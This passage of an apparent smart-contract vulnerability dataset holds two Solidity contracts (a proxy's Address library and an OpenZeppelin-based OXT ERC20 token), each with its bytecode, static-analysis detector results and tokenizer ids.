memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b506101576102da565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610331565b3480156101cc57600080fd5b50610157610439565b6101dd6104b0565b6101ed6101e8610544565b610569565b565b6101f761058d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105b2565b610240565b6102406101d5565b50565b61024b61058d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102cd57610287836105b2565b6102c78383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061047e92505050565b506102d5565b6102d56101d5565b505050565b60006102e461058d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103265761031f610544565b905061032e565b61032e6101d5565b90565b61033961058d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff81166103d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806108ab603a913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61040161058d565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a1610233816105ff565b600061044361058d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103265761031f61058d565b60606104a383836040518060600160405280602781526020016108e560279139610623565b9392505050565b3b151590565b6104b861058d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561053c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260428152602001806109686042913960600191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610588573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105bb8161076a565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b606061062e846104aa565b610683576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806109426026913960400191505060405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff16856040518082805190602001908083835b602083106106eb57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016106ae565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461074b576040519150601f19603f3d011682016040523d82523d6000602084013e610750565b606091505b50915091506107608282866107ec565b9695505050505050565b610773816104aa565b6107c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061090c6036913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b606083156107fb5750816104a3565b82511561080b5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561086f578181015183820152602001610857565b50505050905090810190601f16801561089c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe5472616e73706172656e745570677261646561626c6550726f78793a206e65772061646d696e20697320746865207a65726f2061646472657373416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65645570677261646561626c6550726f78793a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e74726163745472616e73706172656e745570677261646561626c6550726f78793a2061646d696e2063616e6e6f742066616c6c6261636b20746f2070726f787920746172676574a2646970667358221220cc3c20470c18aa79c24b56e937fa7ec2c8261fb2cec973f5b4b1af3e05fb0d5364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2683, 2620, 2098, 2581, 21472, 23499, 2575, 2620, 2683, 2278, 2509, 27717, 2487, 2850, 2546, 22025, 12879, 20842, 2063, 28154, 2546, 23777, 23632, 2581, 2094, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 12200, 3085, 21572, 18037, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 3206, 22164, 1037, 24540, 2008, 2003, 12200, 3085, 2011, 2019, 4748, 10020, 1012, 1008, 1008, 2000, 4468, 16770, 1024, 1013, 1013, 5396, 1012, 4012, 1013, 2053, 7712, 1011, 13625, 1011, 9927, 1013, 24391, 1011, 2067, 23835, 2015, 1011, 1999, 1011, 28855, 14820, 1011, 4013, 16898, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,550
0x96f9a3f71e3f102c85737c049b7e21e2e630acf9
pragma solidity ^0.4.21; /** * openzeppelin-solidity@1.9.0/contracts/math/SafeMath.sol */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * openzeppelin-solidity@1.9.0/contracts/ownership/Ownable.sol */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * openzeppelin-solidity@1.9.0/contracts/token/ERC20/ERC20Basic.sol */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * openzeppelin-solidity@1.9.0/contracts/token/ERC20/ERC20.sol */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * openzeppelin-solidity@1.9.0/contracts/token/ERC20/BasicToken.sol */ /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * openzeppelin-solidity@1.9.0/contracts/token/ERC20/StandardToken.sol */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * openzeppelin-solidity@1.9.0/contracts/token/ERC20/BurnableToken.sol */ /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * openzeppelin-solidity@1.9.0/contracts/token/ERC20/MintableToken.sol */ /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * openzeppelin-solidity@1.9.0/contracts/token/ERC20/CappedToken.sol */ /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /** * DNC Token, totalSupply 100000000000000000 */ contract OxtToken is BurnableToken, CappedToken(100000000000000000) { string public name = "OXT Token"; string public symbol = "OXT"; uint8 public decimals = 8; function burn(uint256 _value) onlyOwner public { super.burn(_value); } }
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde031461012e578063095ea7b3146101bc57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b8578063355274ea146102e757806340c10f191461031057806342966c681461036a578063661884631461038d57806370a08231146103e75780637d64bcb4146104345780638da5cb5b1461046157806395d89b41146104b6578063a9059cbb14610544578063d73dd6231461059e578063dd62ed3e146105f8578063f2fde38b14610664575b600080fd5b341561010c57600080fd5b61011461069d565b604051808215151515815260200191505060405180910390f35b341561013957600080fd5b6101416106b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061074e565b604051808215151515815260200191505060405180910390f35b341561022157600080fd5b610229610840565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061084a565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb610c04565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa610c17565b6040518082815260200191505060405180910390f35b341561031b57600080fd5b610350600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c1d565b604051808215151515815260200191505060405180910390f35b341561037557600080fd5b61038b6004808035906020019091905050610cce565b005b341561039857600080fd5b6103cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d36565b604051808215151515815260200191505060405180910390f35b34156103f257600080fd5b61041e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fc7565b6040518082815260200191505060405180910390f35b341561043f57600080fd5b61044761100f565b604051808215151515815260200191505060405180910390f35b341561046c57600080fd5b6104746110d7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c157600080fd5b6104c96110fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105095780820151818401526020810190506104ee565b50505050905090810190601f1680156105365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054f57600080fd5b610584600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061119b565b604051808215151515815260200191505060405180910390f35b34156105a957600080fd5b6105de600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113ba565b604051808215151515815260200191505060405180910390f35b341561060357600080fd5b61064e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115b6565b6040518082815260200191505060405180910390f35b341561066f57600080fd5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061163d565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107465780601f1061071b57610100808354040283529160200191610746565b820191906000526020600020905b81548152906001019060200180831161072957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561088757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108d457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561095f57600080fd5b6109b0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a43826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7b57600080fd5b600360149054906101000a900460ff16151515610c9757600080fd5b600454610caf836001546117ae90919063ffffffff16565b11151515610cbc57600080fd5b610cc683836117ca565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2a57600080fd5b610d33816119b0565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610edb565b610e5a838261179590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106d57600080fd5b600360149054906101000a900460ff1615151561108957600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111935780601f1061116857610100808354040283529160200191611193565b820191906000526020600020905b81548152906001019060200180831161117657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111d857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561122557600080fd5b611276826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611309826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061144b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116d557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156117a357fe5b818303905092915050565b600081830190508281101515156117c157fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182857600080fd5b600360149054906101000a900460ff1615151561184457600080fd5b611859826001546117ae90919063ffffffff16565b6001819055506118b0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6119ba33826119bd565b50565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611a0a57600080fd5b611a5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab28160015461179590919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a7230582027674f7d4d6c3aa2c4cc7fe005d96d85144c92a7d154183109256d0cbbba320f0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 2683, 2050, 2509, 2546, 2581, 2487, 2063, 2509, 2546, 10790, 2475, 2278, 27531, 2581, 24434, 2278, 2692, 26224, 2497, 2581, 2063, 17465, 2063, 2475, 2063, 2575, 14142, 6305, 2546, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1008, 1008, 1008, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1030, 1015, 1012, 1023, 1012, 1014, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1008, 1013, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 102 ]
